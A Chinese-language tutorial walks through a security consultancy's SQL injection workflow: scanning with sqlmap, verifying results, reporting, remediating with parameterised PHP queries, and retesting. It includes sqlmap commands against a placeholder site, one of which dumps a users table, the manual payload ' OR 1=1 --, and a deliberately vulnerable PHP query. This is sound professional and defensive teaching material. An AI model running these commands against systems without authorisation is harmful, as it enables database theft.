SQL注入（SQL Injection）是安服项目中最常见的Web高危漏洞之一，扫描和整改几乎每个等保测评、渗透测试、护网项目都会涉及。下面给你一个真实、安服视角的完整示例（基于2026年实际工具和流程），从扫描 → 判断成功 → 写报告 → 整改 → 复测全流程讲解。假设场景是一个客户的中型Web系统（PHP + MySQL后台）。

1. 扫描阶段（常用工具 & 命令示例）

安服仔日常用自动化扫描 + 人工验证的方式，工具组合如下（2026年主流）：

• Xray / AWVS / Appscan（公司付费版，适合批量扫站点）
• sqlmap（免费、最强自动化注入利用工具，Kali预装）
• Burp Suite（被动/主动扫描插件，如SQLi Scanner）

真实扫描示例（用sqlmap针对一个疑似注入点）：
目标URL：http://example.com/news.php?id=1（GET参数id）

# 基础检测（判断是否存在注入）
sqlmap -u "http://example.com/news.php?id=1" --batch --level=1 --risk=1

# 详细检测 + 尝试多种注入类型（布尔盲注、报错注入等）
sqlmap -u "http://example.com/news.php?id=1" --batch --level=3 --risk=3 --dbms=mysql --technique=BEUSTQ

# 如果确认注入，尝试dump数据库（安服只做证明，不实际dump全库）
sqlmap -u "http://example.com/news.php?id=1" --dbs --tables --columns --dump -T users --where "id=1" --batch

扫描结果示例（sqlmap输出）：

[18:30:45] [INFO] the back-end DBMS is MySQL
[18:30:46] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] mysql
[*] testdb
[18:31:10] [INFO] fetching tables for database: 'testdb'
Database: testdb
[2 tables]
+----------+
| admin    |
| news     |
+----------+
[18:31:20] [INFO] fetched data logged to text files under '/root/.sqlmap/output/example.com'

→ 扫描确认：存在SQL注入，可读库名、表名、甚至用户表数据。

2. 判断攻击是否成功（安服仔核心技能）

别只看sqlmap说“注入成功”，要上下文关联验证真阳性（参考你之前的思维导图）：

• Payload测试：手动发 ’ OR 1=1 – 到id参数
  • 响应变化：正常id=1只显示一条新闻，注入后显示所有新闻 → 成功（信息泄露）
  • error.log出现：You have an error in your SQL syntax; check the manual... → 成功（报错注入）
• 流量/Wireshark：看请求包Payload特征 + 响应包大小/内容（成功注入响应体多出数据）
• 后续动作：同一个IP是否尝试dump users表、导出管理员密码？有回响 = 真成功
• 误报排除：如果响应不变、状态码404/403、无数据库关键字、无后续行为 → 误报（扫描器特征流量）

安服报告里写：“经人工验证，id参数存在报错注入，可导致数据库信息泄露，CVSS评分9.8（高危）。”

3. 整改建议（安服报告标准写法）

安服报告必须给开发/运维可执行的修复方案，分层写：

最推荐：参数化查询 / 预编译语句（防注入金标准，OWASP第一推荐）

• PHP示例（原代码易注入）：

  $sql = "SELECT * FROM news WHERE id = " . $_GET['id'];
  

• 修复（用PDO）：

  $pdo = new PDO("mysql:host=localhost;dbname=testdb", "user", "pass");
  $stmt = $pdo->prepare("SELECT * FROM news WHERE id = ?");
  $stmt->execute([$_GET['id']]);
  $row = $stmt->fetch();
  

• 或者MySQLi：

  $stmt = $mysqli->prepare("SELECT * FROM news WHERE id = ?");
  $stmt->bind_param("i", $_GET['id']);
  $stmt->execute();
  

其他多层防御（报告里全写上）：

1. 输入验证/白名单：只允许数字（id是int类型）

   if (!ctype_digit($_GET['id'])) { die("无效参数"); }
   

2. WAF规则：奇安信/深信服/云WAF加SQL关键字拦截（’ or 1=1、union select、sleep()等）
3. 最小权限：数据库用户只给SELECT权限，不给DROP/INSERT等
4. 错误页面隐藏：关闭display_errors，统一友好错误页
5. 日志监控：SIEM监控异常SQL查询关键字

整改时限：等保高危要求15天内闭环。

4. 复测验证（安服闭环关键）

整改后，安服必须复扫确认：

• 重新跑sqlmap：无注入 → OK
• 手动测试：’ OR 1=1 – 响应不变、无报错 → OK
• 写复测报告：“原漏洞已修复，无残留注入点。”

小Tips（安服仔真实经验）

• 项目里SQL注入常出现在：搜索框、登录、新闻详情、订单查询等动态参数处
• 2026年新趋势：一些ORM框架（如Laravel Eloquent）默认防注入，但开发者用raw()或DB::select()时仍易中招
• 时间紧的项目：优先修复高危参数（id、search、username），再全站参数化
• 报告模板：漏洞描述 + 风险影响 + 证据截图（sqlmap输出 + 响应对比） + 修复代码示例 + 复测结果

这个流程走完一个SQL注入漏洞，从扫描到闭环基本就1-2周，客户满意度高。